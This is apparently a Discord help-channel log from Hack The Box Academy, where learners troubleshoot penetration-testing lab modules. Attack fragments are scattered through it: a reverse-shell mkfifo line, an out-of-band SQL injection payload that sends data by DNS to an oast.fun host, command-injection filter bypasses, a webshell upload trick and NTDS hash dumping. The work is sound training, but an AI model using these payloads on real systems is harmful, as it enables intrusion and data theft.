||/home/nibbler/personal/stuff/monitor.sh: 118: /home/nibbler/personal/stuff/monitor.sh: mkfifo/tmp/f: not found||
Any way around this? I've tried resetting the box and it still happens (working in Kali because couldn't get the pwnbox to work on the reverse shell)

[umbral umbra]

Also, my nc terminal windows says listening on [any] 8443 ...
10.129.148.70: inverse host lookup failed: Unknown host
connect to [10.10.16.3] from (UNKNOWN) [10.129.148.70] 40588

[fringe shell]

Hey, so I was doing the Web Attacks assessment and with the ||XXE Injection|| part, the request would always just hang once I added the ||SYSTEM|| command into the ||entity||. After pulling hair, I tried it on a different different computer/network and it went through and I got the response. After more troubleshooting to figure out what was blocking the request, I found that connecting to a VPN (ExpressVPN) allowed the request to go through from my home network.

Could this be my ISP inspecting and dropping the packets with malicious code? I assume since the website is in the clear, they could easily see the request going through.

[trail depot]

If you have this output it should mean it succeeded and you got a root shell

[umbral umbra]

Neither of my terminals (one on target machine and one on local vm) allow me to send commands as root after this…is there something else I should be doing?

[trail depot]

You got # as the last line of the nc output, right?
You should be able to type commands directly after that

[umbral umbra]

It went to a new line running as my user@kali-$ immediately

Without allowing me to type commands as root#

[trail depot]

can you dm me the content of monitor.sh

[umbral umbra]

I got off my computer, I will after school tomorrow. Sorry for the delay :(

[trail depot]

no problem, ask again here tomorrow then

[umbral umbra]

Alright. Thanks!

[tight mesa]

hey guys, I'm stuck in the hard lab from Password attack module, I've already the .vhd file but, I'm not able to mount..!!!

not quite sure if the file is protected and, if it is, not sure how to extract the hash either..!!!

any hint would be good appreciate it

[cunning prairie]

since it's a password attack module, did you crack the password?

[tight mesa]

no cuz I don't know how to do it....

I review the module but unfortunately I didn't find anything related to vhd files

unless I'm missing something

[cunning prairie]

i would advise reviewing section Protected Archives. May not involve VHD but you can find similar utilities

[tight mesa]

sweet

[fringe shell]

old mate john is pretty good with these kinds of things... just have to find a way to give it 2john

[languid ginkgo]

Hi,
In Blind SQL Injection->Out-of-Band DNS
I start interactsh-client, it's works well with curl (I receive the requests and subdomains)
In burp I send this request like in the example to test if it's works:
GET GET /api/check-username.php?u=maria'%3bDECLARE+%40T+VARCHAR(1024)%3b+SELECT+%40T%3d(SELECT+1234)%3b+SELECT+*+FROM+fn_trace_gettable('\\'%2b%40T%2b'.blindsqli.academy.htb\x.trc',DEFAULT)%3b--%2b-
I have replace blindsqli.academy.htb by my DNS but it's doesn't work.
Anyone can help me just for the example please

[acoustic owl]

Check the Header

[languid ginkgo]

Sorry it's:

GET /api/check-username.php?u=maria'%3bDECLARE+%40T+VARCHAR(1024)%3b+SELECT+%40T%3d(SELECT+1234)%3b+SELECT+*+FROM+fn_trace_gettable('\\'%2b%40T%2b'.blindsqli.academy.htb\x.trc',DEFAULT)%3b--%2b-```

[languid ginkgo]

It's a paste error

[acoustic owl]

What exactly do you mean by "i have replace"?
You have to make an entry in the DNS zone on the server.
The module describes how to do it

[modern falcon]

Can someone give me hint on the answer format of this question? DOCUMENTATION & REPORTING > Types of Reports

[languid ginkgo]

I replaced by the dns generated with ./interactsh-client

OR with https://app.interactsh.com/#/ like:

GET /api/check-username.php?u=maria'%3bDECLARE+%40T+VARCHAR(1024)%3b+SELECT+%40T%3d(SELECT+1234)%3b+SELECT+*+FROM+fn_trace_gettable('\\'%2b%40T%2b'.ckjrd6c2vtc0000m2z2ggj3cgucyyyyyb.oast.fun\x.trc',DEFAULT)%3b--%2b-

[tranquil axle]

I assume it is “<something> box”

[languid ginkgo]

Does it work for you?

[acoustic owl]

Did you make the entry on the DNS server (port 5380)?

[languid ginkgo]

No, but now yes and it works 👍

[languid ginkgo]

thx

[acoustic owl]

Look again in the module. Especially the chapter Penetration Testing

[tulip parrot]

I have the same problem, any help ?

[rustic sage]

Yep damn u replied to my chat that was 11 days ago

[zinc thunder]

Hey!
i'm currently stuck at "Running SQLMap on an HTTP Request" case3. any hints here would be nice

[tulip parrot]

Yes I made a research 🙂

did u figure it out ?

[rustic sage]

yess im about to complete cpts path 🙂

dm me

[quick magnet]

have u solve this ?

[vital adder]

what's the issue?

[viral slate]

Hi everyone!
Currently on Attacking common services - easy section.
Got credentials. Found out where I should upload reverse shell.
But any attempts to create a file causes MariaDB syntax error(" symbol)

Update: nvm guys, found out a way how to solve it

[quick magnet]

Me ? Hashcat last question skill assesment, already got most used password but can’t cracked

[vital adder]

so you got used password? just get the got used hash and crack that

[royal juniper]

guys when im gonna do python what program should i use?

[acoustic owl]

You can use any text editor for this.

[royal juniper]

Okay

[quick magnet]

but i can't
so it just crack as basic crack ?
if yes maybe i got wrong hash

[zinc thunder]

could someone help with "SQLMAP ESSENTIALS" "Running SQLMap on an HTTP RequestRunning". please send me a DM.
would have appreciated it

[quick magnet]

solved, use wrong hash type

[vagrant oasis]

how do I do the first lesson with the target what do I do with the ip and port?

[acoustic owl]

#battlegrounds

[fickle cradle]

Type or copy the ip and port together in mozilla firefox(in VM)

[vagrant oasis]

ye it says unable to connect

[fickle cradle]

uhh, can you explain what did you do?

[vagrant oasis]

just pasted it into Firefox

[fickle cradle]

in VM?

[vagrant oasis]

ye

[fickle cradle]

strange

usually, it congrats you and give you the proof

[vagrant oasis]

ye it just says unable to connect

[fickle cradle]

umm, i mean i can tell you the proof

to clear your quiz

[vagrant oasis]

I wanna fix it tho so it doesn't cause further problems

[fickle cradle]

should i?

[vagrant oasis]

sure

[vagrant oasis]

nothing loads on firefox it all says it timed out

[zinc thunder]

should i get a input field @ https://x.x.x.x:xxxxx/case3.php in the "Running SQLMap on an HTTP Request" part of sql essentials module?

[flat silo]

Ok so I'm working on the file upload module assessment I've figured out how to extract information but I'm unsure of how to leverage it all can someone please help me

[vagrant oasis]

i need help i cant connect to the ip and pord on firefox in the workstation

[fiery berry]

which module are you working on?

[shut wraith]

I'm working on the Footprinting Module Labs Can u please help me

[vagrant oasis]

introduction to academy

[fiery berry]

whats up there can you explain your problem?

[shut wraith]

It's quite long so I'll DM you

[misty mural]

Pardon these questions as I’m not certain how to phrase them.

When Academy asks me to install tools from git, I’ve been cloning them into my home directory.

My questions are:
Is this best practice, or would an expert store these tools differently?

When there are updates to the repo, how would I ask my machine to update packages cloned from git?

[flat silo]

I'm still fairly new, I've only been studying this for 1.5 years, but before I paid the extra for VIP I had a dedicated directory for HTB on my Kali instance. Idk if it's best practice but I felt it helped keep my things more organized.
It looks like using the 'git pull' command will update packages

[high reef]

morning hackers

i'm doing the attacking the common services module

doing the ftp currently

i'm running the medua command but ftp isn't on the traditional port

[misty mural]

Thank you. 🙏🏻

[high reef]

i did -n (port#) at the end of command but its till not working any hints ?

[fiery berry]

use hydra

[high reef]

ok

[fiery berry]

that is a short way to bypass the problem cause I haven't use medusa but I'll have a look and see why isn't working

[high reef]

keep me posted please i wanted to use medua

[elfin cedar]

hi, this is suppose to be super easy but I don't get what I am doing wrong:
https://academy.hackthebox.com/module/109/section/1035

I am trying all the formats and URL encoding. I know the answer but why does it keep saying invalid input?

and you know whats crazy, the answer is capitalized for both words, and in the question its not, its ridiculous

[raven locust]

question out of curiosity, what do people use for notetaking?

that is, taking notes of academy stuff rather than findings doing a box etc

[elfin cedar]

I use Obsidian, I hear cherrytree is another good one

[high reef]

i use obsidian and cherrytree for commands. i recently messup up my kali machine and lost all my notes

so yea, w.e you put in cherrytree make ure obsidan has a breakup just in case

[winged atlas]

what is hack the box?

[vital adder]

#welcome

[elfin cedar]

hey tryhacks01

I messed up my kali before but I was able to recover my Obsidian notes

[winged atlas]

or can any body advise me to learn cyber security free? @elfin cedar

[high reef]

youtube

[elfin cedar]

@high reef are you able to get to the login screen?

[winged atlas]

channels?

[high reef]

nope i meesed up my mount. i was able to get into the grub menu but i never set the password for my root account

[elfin cedar]

ahhhh

thats what made me setup the obsidian sync thing, well at least the google drive way

[winged atlas]

what is obsidian?

and HTB?

[high reef]

i think you have landed in the wrong place my friend!

[raven locust]

how did you end up here @winged atlas

[winged atlas]

idk i'm into cybersecurity

lol i know it

[elfin cedar]

did you figure out what Obsidian is yet? @winged atlas

[winged atlas]

nah

i know real obsidian

don't tell me it's a swoftware?

[high reef]

if your looking to learn cybersecurity for free. this isn't the place

[winged atlas]

fr ?

[high reef]

we all have paid memberships

[winged atlas]

oh

[high reef]

for academy or the machines

HTB discord is fee tho

but we are all learning on some path

[vital adder]

you know both platform have free content right? 🤣

[winged atlas]

ok thx mate i think i gotta figure that path by myself

[high reef]

yes but thte free stuff isn't as in depth

[vital adder]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[vital adder]

for beginners it's kinda a good thing 😂

[winged atlas]

i think gonna take cs50 &stanford one

[vital adder]

you don't need cs for hacking

it's on you whether or not you want to do it

[winged atlas]

no they have a free course about it

[vital adder]

at this day and age of Fing course cs is free 🤣

[winged atlas]

bro if it's on me i wouldn't be here

[vital adder]

cs is boring but hacking is fun but most of the time hell

also some more resource for y'all #modules message

[winged atlas]

i don't love cs but it's free and maybe who know the future

[vital adder]

here is a good resource this guy send me before #resources-tools message

[high reef]

do you have the paid version, how much is it ?

[elfin cedar]

It's free if you install the Google drive desktop app

I have my notes on Windows

Well now I do lol

[high reef]

lol

learned the hardway! still sad i messed up my kali machine

i downloaded the kali purple its super lightweight storeage was only 26%

started downloaded some penetration test stuff now and only at 50%

[raven locust]

thanks man, appreciated!

[mystic cloak]

You can also use git as a shared backend if you dont want a shared drive style setup

I just have my git repo auto commit changes every 20mins and push changes remotely

[leaden pond]

I'm working on the PHP webshells exercises, and I've successfully uploaded the White Winter Wolf webshell.php file to the target. But when I try to navigate to https://<target IP>/images/vendor.connect.php as described in the module, I get a 404 not found error instead of access to a web shell. I also tried using Laudanum but that didn't work either. Any ideas?

[high reef]

copy and paste the command @leaden pond so we can see if you uploaded the correct sytnax

[leaden pond]

The url I try to navigate to?

[high reef]

the uploaded php webshell

[vital adder]

which module and section are you on?

[leaden pond]

Module: Shells and Payloads, Section: PHP Webshells

[vital adder]

i don't think it's a good idea to send his payloads here specifically via discord 🤣 both admin and discord won't be happy 😂

[high reef]

lol my bad, just trying to help

[leaden pond]

No worries! Thanks for the help. I also didn't type a command to submit the payload. I uploaded the file through an image upload feature and used Burp to allow me to avoid the "you can't upload that type of file in this field" error.

[vital adder]

all good we need more helper (my shift is 24h) 🤣

[high reef]

from your first post tho, i don't see a port specified

[vital adder]

oh did you change the content-type to the answer of the first question?

[leaden pond]

Yes, that's exactly what I did

[vital adder]

in repeater?

[leaden pond]

I just intercepted the request in the proxy, modified that one parameter, hit forward twice until I saw "vendor uploaded to database" in browser, then turned off intercept

[vital adder]

the intercept thing doesn't always work for me try in repeater

[vagrant oasis]

what can i use instead of the academy built in workstation

[vital adder]

if that also doesn't work shoot me a dm with your burp request

[vital adder]

your vm + vpn

[viscid cedar]

In Windows Privilege Escalation, SeTakeOwnershipPrivilige has has anyone been able to build SharpGPOAbuse and run it on the target. I've been able to build it but when I try to run it on the target it crashes

[vital adder]

which section are you on?

[viscid cedar]

SeTakeOwnershipPrivilege

[leaden pond]

Alright, I'll try repeater. I don't think that's the issue, since once I modify the request and forward it, I get a confirmation message in the browser that the file was uploaded, and the webpage looks exactly like it does in the tutorial. I get right up to the point where you're supposed to be able to navigate to the url to access the webshell and then get a 404 error.

[vital adder]

no idea why i couldn't search for this in my note but the section mentioned the tool once and have nothing about that tool so if a tool isn't intended for section there isn't much help on the troubleshoot part

also did you run it on your vm to confirm that you compile it right? also found a binary online maybe give this a try https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master

[vagrant oasis]

my own vm or does hack the box have one?

[vital adder]

yes but it isn't free

[vagrant oasis]

shit

guess i have to wait till tomorrow cos i accidently closed the workstation

[vital adder]

also just notice did you name your payload vendor.connect.php ? because the default name is webshell.php

[leaden pond]

Oh, that could definitely be the issue. Let me try that!

[violet tundra]

Hello everyone, do you guys know how to preperly double pivot with ligolo-ng ?

[vital adder]

and you are right if you can confirm that the payload has been uploaded then there is no point in using repeater but i just don't trust the intercept

[vagrant oasis]

what can i use for free?

[vital adder]

did make a quick "section" on that want to give that a quick read and maybe some feedback?

[vital adder]

read the pwnbox tos or help help guide

yes but on the academy 2h / day and on the main 2h / life

[violet tundra]

• have this on kali <-> 172.16.5.15
• using agent.exe -connect 172.16.5.15:10011 -ignore-cert on 172.16.5.35, but getting this error:

@vital adder would love that !!

created with --tcp btw

[vital adder]

that look like some verbose bs i get everytime i run nmap or something

[violet tundra]

weird, seems like nothing is running here

[vagrant oasis]

wheres that

[leaden pond]

Got the web shell! I hadn't named the file properly. Thanks a ton. You really helped me out.

[vital adder]

np ❤️

[viscid cedar]

The instructions at the end of the section Question say to leverage SeTakeOwnershipPrivilege rights to get the flag. None of the users on the target have SeTakOwnershipPrivilege.

The module notes say "Suppose we encounter a user with this privilege or assign it to them through an attack such as GPO abuse using SharpGPOAbuse"In the Windows Privilege Escalation course in the module SeTakeOwnershipPrivilege, the instructions say to use SharpGPOAbuse to acquire the privileges necessary to access the directory containing the flag.

However SharpGPOAbuse.exe is not one of the programs included in C:/Tools on the target.

I tried building SharpGPOAbuse.exe myself however when I run it on the target I get the error Unhandled Exception: System.MissingMethodException: Method not found: 'Void System.Threading.Monitor.Enter(System.Object, Boolean ByRef)'.
at SharpGPOAbuse.Program.Main(String[] args).

[rustic sage]

ah finalyyyy

[vital adder]

https://help.hackthebox.com/en/articles/5185608-introduction-to-pwnbox
https://academy.hackthebox.com/faq

[rustic sage]

i have a problem that im doing the first instance but i ran out of spawns, i have to wait 24hrs to get another or i can do smth

[shut wraith]

Congrats that's huge. What you gonna do now?

[vital adder]

that's a money problem 🤣 jk but you can just use your own vm

[shut wraith]

Btw question for you. How much HTML and JavaScript should I know before attempting this path?

[rustic sage]

should i spend my money....? yeah, i will spend it i wanna learn

[viscid bramble]

I’m on Linux module it’s asking the name of the interface that mtu is set to 1500

[vital adder]

so for the tool error of the tool part i think that's because of compiling issue and for the user that don't have that privilege part the section show you a script that enable it use that script to add the privilege to the given user first

[viscid bramble]

I’m convinced it’s eth0 but it’s telling me I’m wrong

[rustic sage]

Left out with few modules for completing CPTS path , will go for it then gonna enroll for oscp

[vital adder]

yea thing isn't free but if you want it to be use your own stuff 🤣

[rustic sage]

I would say that course teaches u the html css and js basic so that u can understand how the things are working, but the ending module required u to have a knowledge about python and php scripting for which i got stuck

[shut wraith]

Ahh okay. Will you do the CBBH and CPTS exams? Or straight to OSCP?

[rustic sage]

OSCP --> CPTS --> CBBH (maybe)

[shut wraith]

Why not CPTS before OSCP? Because I heard that CPTS is harder and so it will prepare you for OSCP

[rustic sage]

what are cubs for?

are usefull?

[rustic sage]

if u wanna do the modules yess it is usefull, it is used to unlock the modules

[rustic sage]

i feel like need more practice for CPTS

[vital adder]

nmap

[vital adder]

the offshore prolab is the best for that

[rustic sage]

is he asking for switches?

[shut wraith]

I would do all the resources on HTB before doing the OSCP. Because you are gonna pay a lot and if you're not ready then it will be a waste of money

Like the CPTS course and exam, and the pro labs, and the OSCP HTB boxes

[vagrant oasis]

is silver worth getting?

[shut wraith]

Include --open to skip closed ports

[rustic sage]

nmap -T 4 -sV <ip>

[acoustic owl]

You can do all modules up to Tier II with it.
Yes, if you want to do all these modules, this subscription is worth it.

[rustic sage]

yep thats why going for oscp

[vital adder]

with question i like i have no clue 🤣

[rustic sage]

taking CPTS path as pre-workout for oscp

[shut wraith]

Also the Pro labs and the HTB boxes that are similar to OSCP will prepare you to the maximum

[vagrant oasis]

can i do all tiers with silver?

[vital adder]

it's should be the other way around but 1.5K isn't the price for a pre-workout course 🤣

[acoustic owl]

No, only until Tier II

[vagrant oasis]

cant i do that free?

[rustic sage]

lol yeah, i wish CPTS get its deserving recognition faster

[rustic sage]

yep i have offshore and cybernetics

[acoustic owl]

Tier 0 is free

[fallen yew]

i have a question about HTB academy. when you start a module, it says that at the end of that, we will get +X buckets (for example +10 buckets) but i didn't get any extra buckets ! is it normal ??

[rustic sage]

is tier 1 free

no tier 0 is free

[cyan sedge]

I'm a skilled Full-Stack developer with 6+years of experience
I'm passionate about creating visually stunning, user-friendly websites that help my clients stand out digitally.
If you're looking for a talented and experienced developer, look no further than me!

WEBSITE DEVELOPMENT:

-MERN Stack
-Laravel
-PHP
-Vue.js
-HTML/CSS
-Python

[vital adder]

not the right place for this

[fallen yew]

??

[rustic sage]

okk okk ok ok

and, is there a way to get stuff fore free

[rustic sage]

yeah.. NO

[rustic sage]

i would suggest that univeristy domain id is usefull

[vital adder]

i'm isn't a dev but that's isn't a whole lot of knowledge for 6+ years 🤣

[vital adder]

only if he's a student

[acoustic owl]

How does the Cubes system work?

Cubes are our awesome currency! It might take it a bit to understand how it all works, but here is a summary:

Cubes are used to unlock Modules & Paths.
You get back Cubes as a reward for Module & Paths completion. It is like cash back, but better!
The Cubes needed to unlock and reward back depend on the Tier of the Module. Find a table below for reference.

Module Tiers Unlock With Reward Back
Tier 0 10 10 (Free!)
Tier I 50 10
Tier II 100 20
Tier III 500 100
Tier IV 1,000 200

https://academy.hackthebox.com/faq

[rustic sage]

||steal someone id||

[vital adder]

||UwU||

typo

[fallen yew]

hi
i didn't understant well !
for example i complete "Introduction to Academy" module
but i didn't get +10 buckets as reward
i just only got my spented 10 buckets at the end of module (cash back)

is it normal ?

[vagrant oasis]

whats the point of silver anual id silver monthly is cheaper?

[rustic sage]

ah green colour look amazing . motivate me to reach pro rank

[acoustic owl]

Yes, that's why the module is free.
You pay 10 cubes and get 10 cubes back.

[fallen yew]

and
we can learn all of the modules step-by-step with this system
without any extra payment. yes ?

[vital adder]

Annual give you all module up to tier 2 and a exam voucher

[acoustic owl]

Only Tier 0 Modules

[vagrant oasis]

so just the exam voucher then?

[vital adder]

it isn't that hard if you play the seasons a forgot about it (i didn't know i got the rank for like months)

[fallen yew]

so in the Tier I
if i spent 50 cubes
i will get back just 10 Cubes
not 50+10 cubes
right ?

[acoustic owl]

yes

From Tier I you get 20% of the costs back.

[fallen yew]

it's bad man !!!
i thought all of the modules is free 😢

[acoustic owl]

Nobody works for free

[rustic sage]

how many machines ?

[vital adder]

i mean how much do you pay for what is on the billing you can just read it and ask here if you have further questions about it

[fallen yew]

yes i know
but i thought it's free here

[vital adder]

no clue like i said didn't know i got the rank

[acoustic owl]

All Tier 0 Modules are free

[fallen yew]

yes

thanks for answers

[vagrant oasis]

it says direct acces to job role paths

whats that

and is there any other way to get them?

[vital adder]

nope

[vital adder]

both job paths are just a list of module and all of them are <= tier 2

so paying for modules up tier 2 will give you access to both path

also you don't get 3 guy asking for free stuff on the academy every single day 🤣

[vagrant oasis]

so silver monthly will get me it ok

[vital adder]

silver monthly isn't going to get you modules up tier 2

[vagrant oasis]

what does cos none of them says it does except for student and annual

[vital adder]

https://help.hackthebox.com/en/articles/5720974-academy-subscriptions

only Student and Silver Annual Subscriptions will get you modules up tier 2 and only Silver Annual will throw in an exam voucher

[vagrant oasis]

need someones uni email then fr

cos i dont have 350

[rustic sage]

yess it will be very helpfull

[vital adder]

if you are looking for it here then you won't find any but the 👢

[rustic sage]

lol

[craggy hound]

Is anyone starting Penetration Tester Path?

[vital adder]

i've done both path need help with something?

[vagrant oasis]

wait is it on about american uni or uk uni cos ik it works different

[rustic sage]

any uni

[craggy hound]

I need a study group because I cannot seem to focus alone hahah

[vital adder]

oh you're back

i thought you got ban

[rustic sage]

why ?

[vital adder]

saw him get yeeted when i was checking my rank

[viscid cedar]

Hi, that script, EnableAllToeknPrivs.ps1, only works if the user already has SeTakeOwnershipPrivilege but it is disabled

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ======================================================= ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Users\htb-student>

On the target the user doesn't have SeTakeOwnershipPrivilege at all.

[vital adder]

and a quick search for his old dm here show nothing

[vagrant oasis]

gunna borrow someones uni email to use fr need to find someone

not from here stinky

[vital adder]

mod and admin can't do anything if you do it IRL but just don't spam here for that

[rustic sage]

yess maybe saying that can also cause you get into trouble

[vital adder]

also the previous tool work fine for me

[vagrant oasis]

nuh uh

[vital adder]

something like your acount will be yeeted after paying would be fun 🤣

[vagrant oasis]

plus i said borrow no harm no foul

[vital adder]

it's against tos not the us legal system

[viscid cedar]

Where did you get SharpGPOAbuse.exe?

[obsidian crag]

While i'm using ffuf tool for more directry or file..it was showing like this

[vital adder]

the link a send you previously

[vital adder]

if you are trying to send a screenshot verify your account first

[torn steppe]

Anyone experiences any problem with the first rdp session in active directory instroduction module?

[vital adder]

#modules message

if waiting doesn't work and you still have issue while using tool like xfreerdp or remmina verify your account and send a screenshot of the issue you are having here

[torn steppe]

thx I am going to reset and wait

[vital adder]

@obsidian crag read #welcome and #rules after that use /verify at #bot-commands to verify your account

[vital adder]

i don't know what's more impressive the fact that you've done 100% of the module or some how you got 3 cude 🤣 but congratz though 🎉

[echo roost]

Anyone know where I can find the working laZagne.py from this module for linux? - https://academy.hackthebox.com/module/147/section/1320 I found this - https://github.com/AlessandroZ/LaZagne/blob/master/Linux/laZagne.py but when I run it it can't find the lazagne module

[acoustic owl]

Congrats 🎉 🥳

[fiery berry]

via RDP you can you the /drive: option
EDIT: looks like you did it already but why doesn't work? I had no problem using it

you can always use a python simple server in case

dm you

[torn steppe]

still the same

balck screen

[echo roost]

Your version didn't work either?

[vital adder]

did you use python2.7?

[echo roost]

yes

it can't find the module which isn't in the github repo

You need to setup pyenv with the latest vesion of kali with I have python 2 set as by system default

https://www.kali.org/docs/general-use/using-eol-python-versions/

but when I run the script -

[vital adder]

give it a try on the pwnbox

also shouldn't you run this tool on the target machine?

[echo roost]

nm I needed to clone the whole github repo there are other classes and modules in the Linux folder. The script won't run my itself alone without the other files.

[echo roost]

Yes but I need it for the future also

[vital adder]

the script is stand alone you don't need other files for this script to run

[vital adder]

try a new vpn maybe

[echo roost]

hmm, it magically works now -

[vital adder]

magically it isn't working for me now 🤣

[echo roost]

How does it know where to import a custom library per the from statements. Those are in the folder within the github repo

[rustic sage]

How y’all Mf doin that

[vital adder]

#welcome

[vital adder]

judging by i'm not the best at python but judging by the fact this script can run locally without internet everything should be loaded local

[pastel basalt]

What’s up with the eu servers?

[vital adder]

at least from the second set of 4 import command from the script it's look like some normal library if those library is installed

[acoustic owl]

#1143839520937218088 message

[pastel basalt]

Thx

[umbral fulcrum]

How did U find that IP?

[torn steppe]

cahnged for one us but nothing

still the same problem

[vital adder]

at the moment there is some issue with the VPN server on main platform but i have no idea if this is even related to any of the academy stuff nonetheless your case

nothing seem to wrong here so i think you should reach out to the support

[torn steppe]

ok thx

[sweet aurora]

How can i verify my email ?

[foggy light]

Thats the goal

[echo roost]

is anyone able to clone git repos to https://academy.hackthebox.com/module/147/section/1320

the password attacks question to get Wills password?

[autumn pilot]

the targets are not connected to the internet

[echo roost]

Okay so I have to transfer any tools to or move files back to my machine if I want to firefox_decrypt or run Lazgane on the target?

[autumn pilot]

if you want to transfer tools, you will have to download them to your workstation and then use python3, scp or any other means

[echo roost]

thanks, coming from the pwk course i've haven't heard or used some of these tools

[small steppe]

Module: ATTACKING COMMON SERVICES
Section: Attacking FTP
Question: What username is available for the FTP server?

Okay. I'm running Hydra against the appropriate port on the host using the provided username and password lists. Hydra yeilds a single usable user:pw that I can access FTP with. However, it doesn't accept the username as an answer for the question. Any ideas?

[elfin cedar]

hi, this is suppose to be super easy but I don't get what I am doing wrong:
https://academy.hackthebox.com/module/109/section/1035
I am trying all the formats and URL encoding. I know the answer but why does it keep saying invalid input?
and you know whats crazy, the answer is capitalized for both words, and in the question its not, its ridiculous

[vagrant oasis]

no luck finding a uni email to use yet

[vital adder]

and you won't have any luck finding it here

[vital adder]

so do you need help with this?

[elfin cedar]

please

I dont understand

can I type the answer here?

[vital adder]

the answer is one of the thing listed in the question Which of (new-line, &, |)

[vital adder]

if spoiler then nope

[elfin cedar]

yes, but can I show how I input it?

oh how do you do that

[small steppe]

Negative. That was the first thing I tried before running Hydra. No dice.

[vital adder]

yea ||ftp|| for this isn't on the normal port

[tranquil axle]

For Attacking Enterprise Networks as "practice", do I just scroll to the bottom, start the VM and then dont look at the module again until I got the DC compromised?

[vital adder]

if you want to send me that for some reason shoot me a dm i guess

[vital adder]

more like the whole next work but basically yes

[tranquil axle]

yea but how do I know Im done lol, thats why I went with DC compromise

[echo roost]

Wow the Password Attacks module is the first that frustrated me a little. I think I am going to use the attack machine going forward instead of Kali. Was having python issues with that firefox_decrypt.py tool

[vital adder]

enum more i guess if you are out of target then you are probably done

[tranquil axle]

heh I guess

[winter blaze]

hello i am stuck in Capture the NTDS.dit file and dump the hashes. Use the techniques taught in this section to crack Jennifer Stapleton's password. Submit her clear-text password as the answer. (Format: Case-Sensitive) module https://academy.hackthebox.com/module/147/section/1326#questionsDiv i got the NTDS.dit file but idk how to dump the hashes from NTDS.dit the reason why its because impacket just work for hklm secure,sytem and sam, but in the other hand we have pypykatz that did not work for me i am thinking that pypykatz its exclusive for LSASS file any hint ?

i wanned to try it with NTDS.dit file dump method for practice, i know that with crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds might work

v,:

[tranquil axle]

impacket should work with ntds if you also provide system

[winter blaze]

@tranquil axle but do i have to always provide both ?

so NTDS.dit is useless alone am i right ?

[tranquil axle]

seems like you always need both, but if you can get ntds you should be able to get system just as easy

[winter blaze]

thanks ❤️ @tranquil axle have a good day

[thorn urchin]

@winter blaze the reason is because the hashes inside ntds.dit are encrypted with a PEK key. Now the PEK key is embedded inside ntds.dit but is itself encrypted with the system key. Hence needing the system hive in order to extract the hashes

https://adsecurity.org/?p=2398

[winter blaze]

O.O THANK YOU SO MUCH i really appreciate it

[echo roost]

https://academy.hackthebox.com/module/147/section/1319 - I am struggling with this module. I used the supplied resources with the -r ||custom.rule|| here is the syntax I have done after|| I unshadowed the two files .bak files locally ||- ||hashcat -m 1800 -a 0 unshadowed.hashes mut_password.list -o cracked.txt -r custom.rule|| - I've also tried the ||best64|| rule and rockyou.txt,|| mut_password.list, and password.list|| word list in the resources. I can't figure out the root password. When using rockyou wordlist with custom.rule or best64|| hashcat || never cracks that ||SHA-512 hash|| nor does it exhaust. DM anyone so I don't spoil the answer? Am I on the right track?

[rustic sage]

You are supposed to use the resources, that far I can remember @echo roost

[echo roost]

just the resources? no mutate?

[elfin cedar]

hi, when inserting quotes into a command for a command injection, why is there no single quote between the A and M?

[rustic sage]

I believe I mutated yes, @echo roost ,

Mutated

[elfin cedar]

oh they mean even as in even and odd

[trail leaf]

Yeah, it doesn't need to alternate, the goal is to break up any filter that's looking for the word "whoami"

so you should even just do wh'o'ami, and that might work depending on how the server is written

[dapper wadi]

I am currently completing Using Web Proxies, Proxying Tools. I am trying to edit the /etc/proxychains.conf file but it is read only, can anyone help?

[slender cipher]

For [Attacking Thick Client Applications] in module Attacking Common Applications, I don't understand the reason behind dumping the type of [MAP] and privilege set to [RW], could someone discuss with me?

[keen obsidian]

Hey

is there a way I can reset my progress on a module?

I want to continue a module I started moths ago

[echo roost]

So I forgot I output the cracked hashes to a file and didn't take out the users. It cracked like 20 minutes ago lol

thank you @rustic sage

[burnt sluice]

tbh those two sections discussing thick client applications, i haven't found relevant material that might explain what's happening or why, it's just a walkthrough through the example.

if u found any please tag me along, i would like to know as well.

[elfin cedar]

can I ask another question about command injections?

[woven copper]

Don't ask to ask , just make the question

[slender cipher]

I only know that he's trying to find what the programming language are, but the question is, why he choose to dump that part of memory? Is type [MAP] and privilege [RW] is the only part of memory that has sensitive data?

[elfin cedar]

why does {IFS}c'a't work but not {c'a't}? In the module, the command {ls,la} worked..

[trail leaf]

try it on your own command line

[burnt sluice]

i don't think he's tryna figure out the programming language

[trail leaf]

easiest way to test anything

[burnt sluice]

here's what i dug up from IBM:

Memory mapped files provide a mechanism for a process to access files by directly incorporating file data into the process address space. The use of mapped files can significantly reduce I/O data movement since the file data does not have to be copied into process data buffers, as is done by the read and write subroutines. 

Source

So if I understood that correctly, the only memory that might get written to a file is a MAP memory with RW permissions, so we're trying to catch what's getting written into the file not figure out what it's language.

correct me if im wrong, i just learned this xD

[slender cipher]

Yeah, I agree your idea

[burnt sluice]

but as for the programming language and file type, it's explained in the next paragraph where we look at the magic bytes of the file we intercepted.

[slender cipher]

But also doesn't the tutorial find out that part of memory are the executable because magic bytes MZ in the ASCII column that indicates that the file is a DOS MZ executable.

[elfin cedar]

now I am evenmore confused

[burnt sluice]

yes yes, but that's after dump it based on the assumption that there might be credentials or sensitive data in it.

[slender cipher]

1. Maybe [MAP] and [RW] means it's probably has some data.
2. Look into the memory, found out the magic bytes header, means it's the start of the executable
3. Dump the memory and analyze further

this's my logic

[burnt sluice]

Wait, we already know its data, and that its being written to a file.
That's because Memory-mapped files allow applications to access large files without having to read or write the entire file into memory at once. Instead, the file is mapped to a region of memory that the application can read and write as if it were a regular buffer in memory.
//Direct quote from the section.
and we know it's being written hence the RW permissions.
And after that as u said.

[burnt sluice]

^^

[trail leaf]

[burnt sluice]

r u using bash or zsh?

i remember it differs sometimes, correct me if I'm wrong.

I'll test it out one sec

[elfin cedar]

zsh

[burnt sluice]

oh, check it with bash

[trail leaf]

yeah doesn't work in zsh

[slender cipher]

hoping this won't happen in CPTS exam.. I'm really bad at these stuff

[burnt sluice]

i hope so as well xD

[slender cipher]

Are you going to take the exam? I'm probably in a week

[burnt sluice]

yes yes, i have got windows priv esc, documentation and the final mmodule.
But im working on the windows CL to further understand how to navigate and look around.

